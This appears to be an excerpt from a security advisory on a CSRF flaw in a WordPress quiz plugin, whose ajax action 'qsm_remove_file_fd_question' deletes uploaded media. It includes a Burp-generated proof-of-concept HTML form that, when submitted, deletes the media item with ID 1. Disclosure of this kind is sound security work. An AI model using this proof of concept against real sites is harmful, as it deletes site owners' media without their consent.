VULNERABILITY DETAILS ======================== The plugin offers the ajax action "qsm_remove_file_fd_question" which is used to delete uploaded media contents from the WordPress instance.

PROOF OF CONCEPT =================== The following Proof-of-Concept would delete the uploaded media with the ID "1": <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="qsm_remove_file_fd_question" /> <input type="hidden" name="media_id" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> 7.
